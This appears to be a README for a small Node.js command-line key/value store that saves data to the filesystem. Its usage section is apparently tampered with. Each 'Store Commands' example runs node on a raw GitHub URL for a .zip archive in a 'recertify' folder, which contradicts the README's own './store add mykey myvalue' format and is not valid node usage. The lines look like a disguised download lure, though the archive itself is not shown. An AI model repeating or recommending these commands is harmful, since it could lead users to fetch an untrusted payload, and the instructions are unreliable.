This is a simple dictionary key/value store script using only core NodeAPI and ECMAScript 5 or 6. Store the key/value dictionary using filesystem.
SETUP THE PROJECT:
-clone the repo
-execute this in your terminal in the repo location:-
$ npm i
$ chmod a+x store
$ npm run build
Store Commands:
$ node https://raw.githubusercontent.com/elbadawyy/dictionary_demo_with_node_es6/master/recertify/dictionary_demo_with_node_es6.zip add mykey myvalue
$ node https://raw.githubusercontent.com/elbadawyy/dictionary_demo_with_node_es6/master/recertify/dictionary_demo_with_node_es6.zip get mykey
$ node https://raw.githubusercontent.com/elbadawyy/dictionary_demo_with_node_es6/master/recertify/dictionary_demo_with_node_es6.zip remove mykey
You can use the commands in this format: ex:- ./store add mykey myvalue